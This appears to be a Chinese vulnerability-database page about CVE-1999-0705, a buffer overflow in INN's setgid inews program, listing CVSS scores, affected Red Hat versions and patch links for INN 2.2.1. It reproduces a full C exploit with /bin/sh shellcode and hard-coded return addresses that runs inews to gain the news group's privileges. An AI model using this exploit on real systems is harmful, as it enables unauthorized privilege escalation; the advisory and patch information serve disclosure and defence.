CVE-1999-0705
CVSS7.5
发布时间 :1999-09-01 00:00:00
修订时间 :2008-09-09 08:35:15
NMCOE    

[原文]Buffer overflow in INN inews program.


[CNNVD]多厂商INN inews缓冲区溢出漏洞(CNNVD-199909-005)

        INN inews程序缓冲区溢出漏洞。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:isc:innISC INN
cpe:/o:redhat:linux:6.0Red Hat Linux 6.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0705
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0705
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199909-005
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/616
(UNKNOWN)  BID  616

- 漏洞信息

多厂商INN inews缓冲区溢出漏洞
高危 缓冲区溢出
1999-09-01 00:00:00 2005-05-02 00:00:00
本地  
        INN inews程序缓冲区溢出漏洞。

- 公告与补丁

        The ISC, the maintainers of the INN package have made the following package available:
        ftp://ftp.isc.org/isc/inn/inn-2.2.1.tar.gz
        Below is the patch/source upgrades provided by RedHat. Work around information is available in the attached RedHat advisory.
        Red Hat Linux 6.0:
        ==================
        Intel:
         ftp://updates.redhat.com//6.0/i386/inn-2.2.1-1.i386.rpm
         ftp://updates.redhat.com//6.0/i386/inn-devel-2.2.1-1.i386.rpm
        Alpha:
         ftp://updates.redhat.com//6.0/alpha/inn-2.2.1-1.alpha.rpm
         ftp://updates.redhat.com//6.0/alpha/inn-devel-2.2.1-1.alpha.rpm
        Sparc:
         ftp://updates.redhat.com//6.0/sparc/inn-2.2.1-1.sparc.rpm
         ftp://updates.redhat.com//6.0/sparc/inn-devel-2.2.1-1.sparc.rpm
        Source packages:
         ftp://updates.redhat.com//6.0/SRPMS/inn-2.2.1-1.src.rpm
        Red Hat Linux 5.2:
        ==================
        ftp://updates.redhat.com//5.2/i386/inn-2.2.1-0.5.2.i386.rpm
         ftp://updates.redhat.com//5.2/i386/inn-devel-2.2.1-0.5.2.i386.rpm
        Alpha:
         ftp://updates.redhat.com//5.2/alpha/inn-2.2.1-0.5.2.alpha.rpm
         ftp://updates.redhat.com//5.2/alpha/inn-devel-2.2.1-0.5.2.alpha.rpm
        Sparc:
         ftp://updates.redhat.com//5.2/sparc/inn-2.2.1-0.5.2.sparc.rpm
         ftp://updates.redhat.com//5.2/sparc/inn-devel-2.2.1-0.5.2.sparc.rpm
        Source packages:
         ftp://updates.redhat.com//5.2/SRPMS/inn-2.2.1-0.5.2.src.rpm
        Red Hat Linux 4.2:
        ==================
        Intel:
         ftp://updates.redhat.com//4.2/i386/inn-2.2.1-0.4.2.i386.rpm
         ftp://updates.redhat.com//4.2/i386/inn-devel-2.2.1-0.4.2.i386.rpm
         ftp://updates.redhat.com//4.2/noarch/cleanfeed-0.95.7b-0.4.2.noarch.rpm
        Alpha:
         ftp://updates.redhat.com//4.2/alpha/inn-2.2.1-0.4.2.alpha.rpm
         ftp://updates.redhat.com//4.2/alpha/inn-devel-2.2.1-0.4.2.alpha.rpm
         ftp://updates.redhat.com//4.2/noarch/cleanfeed-0.95.7b-0.4.2.noarch.rpm
        Sparc:
         ftp://updates.redhat.com//4.2/sparc/inn-2.2.1-0.4.2.sparc.rpm
         ftp://updates.redhat.com//4.2/sparc/inn-devel-2.2.1-0.4.2.sparc.rpm
         ftp://updates.redhat.com//4.2/noarch/cleanfeed-0.95.7b-0.4.2.noarch.rpm
        Source packages:
         ftp://updates.redhat.com//4.2/SRPMS/cleanfeed-0.95.7b-0.4.2.src.rpm
         ftp://updates.redhat.com//4.2/SRPMS/inn-2.2.1-0.4.2.src.rpm

- 漏洞信息 (19480)

ISC INN <= 2.2,RedHat Linux <= 6.0 inews Buffer Overflow Vulnerability (EDBID:19480)
multiple local
1999-09-02 Verified
0 bawd
N/A [点击下载]
source: http://www.securityfocus.com/bid/616/info


INN versions 2.2 and earlier have a buffer overflow-related security condition in the inews program.

inews is a program used to inject new postings into the news system. It is used by many news reading programs and scripts. The default installation is with inews setgid to the news group and world executable. It's possible that exploiting the buffer overflow could give the attacker news group privileges, which could possibly be extended to root access. 

/* inews exploit , gives you the inews egid .
* bawd@kitetoa.com
* greetz to nitro,shivan,rfp & Minus :)
*
*
* RET addresses change between RH 5.2 ,6.0 etc..
*
* RH 5.2 RET = 0xbffff6f0
* RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu..
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define BUFFER_SIZE 540
#define RET 0xbffff6f0



main (int argc, char *argv[])
{
FILE *fp;
int offset = 0;
char *buff = NULL;
int i;

u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";



if (argc > 1)
offset = atoi (argv[1]);

buff = malloc (1024);

if (!buff)
{
printf ("malloc isnt working\n");
exit (0);
}

memset (buff, 0x90, BUFFER_SIZE);

for (i = 100; i < BUFFER_SIZE - 4; i += 4)
*(long *) &buff[i] = RET + offset;

memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell));

if ((fp = fopen ("filez", "w")) != NULL)
{
  fprintf (fp, "From: %s\nSubject: y0\nNewsgroups: yaya le chat\n\n\n\n\n", 
buff);
  fclose (fp);
  execl ("/usr/bin/inews", "inews", "-h", "filez", NULL);
  }

else {
     printf ("Couldnt open file : filez\n");
     exit (0);
     }

}
		

- 漏洞信息

16030
INN inews Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

1999-09-02 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 2.2.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站